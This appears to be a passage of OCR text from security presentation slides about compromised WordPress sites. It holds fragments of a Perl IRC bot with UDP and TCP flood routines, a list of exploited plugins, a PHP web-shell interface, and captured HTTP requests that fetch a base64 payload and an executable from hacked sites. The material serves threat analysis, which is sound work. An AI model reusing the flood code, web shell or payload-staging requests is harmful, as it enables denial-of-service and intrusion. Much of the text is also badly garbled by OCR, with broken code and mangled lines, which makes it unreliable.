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LI T F(IRC 1KY )P Teoc
perl 20935 A

my JLinas_max= IRC 7|-‘\‘“J I\mﬁﬁﬁi\\
RN = —Aa % BEICHIE

my @adms=("x", »n
my @hostauth=( :
my @canais=("#ex"); tcpflood DIRCHS
my $nick= -

if ($funcarg =~ /

sendraw($IRC_cur_socket, gpr1n 1

my $itime = time;

W (Jeur_time); udpflood DIRCHS

$cur_time = time - $itime;

if ($funcarg =~ / \S4+(_*)\sH"\d+)\ s+ DE!
sendraw($IRC_cur_socket, bprintl 2 \002
my ($dtime, ¥pacotes) = udpflooder( $1", "$2", "$3");
$dtime = 1 if $dtime = 0;

my %bytes;
$bytes{ }
$bytes{ }
$bytes{o}

$2 * $pacotes{ };
$2 * $pacotes{ }:
* $pacotes{o};

$2 * $pacotes{udp};
$2 * $pacotes{tcp};

= $2
$bytes{udp} =
$bytes{tcp} =
sendraw($IRC_cur_socket $printl :\002 002 .int(($bytes{ }+$bytes{ T+$b
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 Slider Revolution
« Showbiz Pro
« WP All Import

« Simple ADS Manager

« N Media Website
Contact Form

« Gravity Forms

« Reflex Gallery
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« Work The Flow
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Uname: Linux WebBackdoor 3,16.0-30-generic #40-+14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 x86_64
Usel 33 ( www-data )} Group: 33 ( www-data )
Php: 5.5.9-1ubuntu4.9 Safe mode: phpinfc
Hdd: 6.76 GB Free: 3.95 GB (58%)

Cwd: [var/w /html,
[ Sec. Info ] [ Files ] [ Conscle

1
GAl I File manager
05

Windows-1251[§
Server IP:
| Datetime: 2015-08-24 20:07:33 10.

Client IP:

Google | | milwOrn

[Sal ] [ Php ] ! mode ] [ String tools

Modify Owner/Group

My

Dis

backdoor20150622 ]

P

db ]
est ]
public
[ revslider ]
[ WebShell
webshell-
It

phg
pap

resu

dir

dir

dir

39.60 KB
3.42 KB

Change dir

/var/www/html/

Make dir:

2015-05-16 23:52:46
2015-06-22 03:20:17
2015-05-17 01:14:32
2015-05-17 01:14:53
2015-05-17 01:14:38
2015-07-17 16:58:04
2015-05-17 01:15:00
2015-05-17 01:14:46
2015-05-17 01:32:03
2015-06-22 03:29:27

e

root/root

www-data/www-data
www-data fwww-data
www-data/www-data
www-data/www-data
www-data/www-data
www-data/www-data
root/root

www-data/www-data

drwXxr-xr-x
drwxrwxr-x

Read file

Make file:

Upload file:
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2.12 KB

L/.U7.ZULD 19.90.5£4 TOOUTOUL

17.07.2015 14:46:32 root/root
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2015F48C AT T U= Microsoft Office @
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ZERAUCREIBDYILD T 7 (*)

GET /w —cuntentfthemESchent welve/1623782. txt HTTP/1.1
conn
Accept: “f“

Accept-Language: en-us

User-agent: Mozilla/ 4.0 (cr a; Win32; WinHttp.winHttpRequest.5)
Host: H

HTTP,/1.1 200 OK —

% BERE LRIV T P D

SErver.dAEacge

Last-Moditied: Mon| =JL r=2= =L
ctag: sizibades  GRAE D 71 )L IR
Accept-Ranges: byte

Content-Length: 75¢

Keep-Alive: Timeoult=sy—won—xwow

Connection: Keep-Alive

Content-Type: Text/plain

PABOAGUAEABOADE AMAA+ACQAZ ABVAHCADGAGADOATABOAGUAOWAT AEBAYJBOAGUAYWBOACAA
UwB SAHMAdABR 1 AGDAL gBOAGUAJAAUAF CAZQBTAEMADABpAGUADGBOADS ADQAKACQAZ ABhAHMA
ZAB3ADOAIWAXADIAMWANADS ADQAKACQAZ gEpAGWAZ QAGADDATAAKAHAAABOAHMAKWAKAGEA
bgBTACSAIWAUAGUARAB 1ACCAOWANAAOAJABZAHQAYQBEOAGYAAQBSAGUATAASACAAJABWAHQA
AABZACSATWADADQANAAUAGOACABNACCAOWANAADATABKAGEADWEUACAAAAR | AGEAZAB | AHTA

S Y R Y L T S L e T | N L n e e . R W R Ry

*oOZFAUEARET O S [BARTALEX] : REZREWRIC(ML> RYro0O ttFa1U5F+TJ0OY)
http://blog.trendmicro.co.jp/archives/11397
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GET /wp-content/plugins/cached_data/manl.exe HTTP/1.0
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Accept-Language: en-us
Accept: */%®

Accept-Encoding: identitw  *:
Connection: close

User-Agent: Mozilla/4.(C Pony(ﬂug:Farert)?)l,'jIT ]3_
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